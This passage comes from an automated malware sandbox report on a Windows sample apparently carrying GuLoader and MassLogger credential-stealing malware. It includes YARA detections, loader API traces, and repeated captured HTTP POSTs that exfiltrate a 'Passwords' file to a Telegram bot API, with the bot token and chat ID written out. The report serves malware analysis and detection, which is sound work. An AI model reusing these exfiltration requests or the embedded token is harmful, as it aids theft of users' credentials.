2025-01-10 20:25:51 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 35 36 65 30 30 65 31 63 61 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3256e00e1ca8Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:25:51 UTC	347	IN	HTTP/1.1 401 Unauthorized Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:25:51 GMT Content-Type: application/json Content-Length: 58 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:25:51 UTC	58	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 31 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 55 6e 61 75 74 68 6f 72 69 7a 65 64 22 7d Data Ascii: {"ok":false,"error_code":401,"description":"Unauthorized"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49862	149.154.167.220	443	5624	C:\Users\user\Desktop\4UQ5wnI389.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:25:54 UTC	272	OUT	POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3282309ea77b Host: api.telegram.org Content-Length: 1090
2025-01-10 20:25:54 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 38 32 33 30 39 65 61 37 37 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3282309ea77bContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:25:54 UTC	347	IN	HTTP/1.1 401 Unauthorized Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:25:54 GMT Content-Type: application/json Content-Length: 58 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:25:54 UTC	58	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 31 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 55 6e 61 75 74 68 6f 72 69 7a 65 64 22 7d Data Ascii: {"ok":false,"error_code":401,"description":"Unauthorized"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49913	149.154.167.220	443	5624	C:\Users\user\Desktop\4UQ5wnI389.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:26:02 UTC	296	OUT	POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32daaef8b599 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:26:02 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 64 61 61 65 66 38 62 35 39 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32daaef8b599Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:26:02 UTC	347	IN	HTTP/1.1 401 Unauthorized Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:26:02 GMT Content-Type: application/json Content-Length: 58 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:26:02 UTC	58	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 31 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 55 6e 61 75 74 68 6f 72 69 7a 65 64 22 7d Data Ascii: {"ok":false,"error_code":401,"description":"Unauthorized"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49939	149.154.167.220	443	5624	C:\Users\user\Desktop\4UQ5wnI389.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:26:05 UTC	272	OUT	POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd33052afb8cac Host: api.telegram.org Content-Length: 1090
2025-01-10 20:26:05 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 30 35 32 61 66 62 38 63 61 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd33052afb8cacContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:26:06 UTC	347	IN	HTTP/1.1 401 Unauthorized Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:26:06 GMT Content-Type: application/json Content-Length: 58 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:26:06 UTC	58	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 31 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 55 6e 61 75 74 68 6f 72 69 7a 65 64 22 7d Data Ascii: {"ok":false,"error_code":401,"description":"Unauthorized"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49981	149.154.167.220	443	5624	C:\Users\user\Desktop\4UQ5wnI389.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:26:12 UTC	296	OUT	POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd33517e971c7f Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:26:12 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 35 31 37 65 39 37 31 63 37 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd33517e971c7fContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:26:12 UTC	347	IN	HTTP/1.1 401 Unauthorized Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:26:12 GMT Content-Type: application/json Content-Length: 58 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:26:12 UTC	58	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 31 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 55 6e 61 75 74 68 6f 72 69 7a 65 64 22 7d Data Ascii: {"ok":false,"error_code":401,"description":"Unauthorized"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49992	149.154.167.220	443	5624	C:\Users\user\Desktop\4UQ5wnI389.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:26:13 UTC	272	OUT	POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3367b73ade45 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:26:13 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 36 37 62 37 33 61 64 65 34 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3367b73ade45Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:26:13 UTC	347	IN	HTTP/1.1 401 Unauthorized Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:26:13 GMT Content-Type: application/json Content-Length: 58 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:26:13 UTC	58	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 31 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 55 6e 61 75 74 68 6f 72 69 7a 65 64 22 7d Data Ascii: {"ok":false,"error_code":401,"description":"Unauthorized"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	50006	149.154.167.220	443	5624	C:\Users\user\Desktop\4UQ5wnI389.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:26:16 UTC	296	OUT	POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd338994765545 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:26:16 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 38 39 39 34 37 36 35 35 34 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd338994765545Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:26:16 UTC	347	IN	HTTP/1.1 401 Unauthorized Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:26:16 GMT Content-Type: application/json Content-Length: 58 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:26:16 UTC	58	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 31 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 55 6e 61 75 74 68 6f 72 69 7a 65 64 22 7d Data Ascii: {"ok":false,"error_code":401,"description":"Unauthorized"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	50008	149.154.167.220	443	5624	C:\Users\user\Desktop\4UQ5wnI389.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:26:17 UTC	296	OUT	POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd33a0f2189f40 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:26:17 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 61 30 66 32 31 38 39 66 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd33a0f2189f40Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:26:17 UTC	347	IN	HTTP/1.1 401 Unauthorized Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:26:17 GMT Content-Type: application/json Content-Length: 58 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:26:17 UTC	58	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 31 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 55 6e 61 75 74 68 6f 72 69 7a 65 64 22 7d Data Ascii: {"ok":false,"error_code":401,"description":"Unauthorized"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.8	50011	149.154.167.220	443

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:26:25 UTC	296	OUT	POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd318b247ec2cc Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:26:25 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 38 62 32 34 37 65 63 32 63 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd318b247ec2ccContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:26:26 UTC	347	IN	HTTP/1.1 401 Unauthorized Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:26:26 GMT Content-Type: application/json Content-Length: 58 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:26:26 UTC	58	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 31 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 55 6e 61 75 74 68 6f 72 69 7a 65 64 22 7d Data Ascii: {"ok":false,"error_code":401,"description":"Unauthorized"}

Target ID:	0
Start time:	15:24:16
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\4UQ5wnI389.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\4UQ5wnI389.exe"
Imagebase:	0x400000
File size:	1'007'544 bytes
MD5 hash:	F28C3285968229B7E0C723633FB5C161
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.1940482380.0000000004709000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:25:02
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\4UQ5wnI389.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\4UQ5wnI389.exe"
Imagebase:	0x400000
File size:	1'007'544 bytes
MD5 hash:	F28C3285968229B7E0C723633FB5C161
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000005.00000002.2743712849.0000000034E0B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2743712849.0000000034E0B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000005.00000002.2743712849.0000000034E0B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	19.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	19.5%
Total number of Nodes:	1599
Total number of Limit Nodes:	39

Executed Functions

Function 004034A5 Relevance: 80.9, APIs: 32, Strings: 14, Instructions: 410
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004034C8
GetVersion.KERNEL32 ref: 004034CE
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403501
#17.COMCTL32(?,00000006,00000008,0000000A), ref: 0040353E
OleInitialize.OLE32(00000000), ref: 00403545
SHGetFileInfoW.SHELL32(004216E8,00000000,?,000002B4,00000000), ref: 00403561
GetCommandLineW.KERNEL32(00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 00403576
CharNextW.USER32(00000000,00435000,00000020,00435000,00000000,?,00000006,00000008,0000000A), ref: 004035AE

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 004036E8
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000006,00000008,0000000A), ref: 004036F9
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 00403705
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 00403719
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 00403721
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 00403732
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 0040373A
DeleteFileW.KERNELBASE(1033,?,00000006,00000008,0000000A), ref: 0040374E

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

OleUninitialize.OLE32(00000006,?,00000006,00000008,0000000A), ref: 00403819
ExitProcess.KERNEL32 ref: 0040383A
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 0040384D
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A328,C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 0040385C
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403867
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,00436800,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403873
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 0040388F
DeleteFileW.KERNEL32(00420EE8,00420EE8,?,0042B000,00000008,?,00000006,00000008,0000000A), ref: 004038E9
CopyFileW.KERNEL32(C:\Users\user\Desktop\4UQ5wnI389.exe,00420EE8,00000001,?,00000006,00000008,0000000A), ref: 004038FD
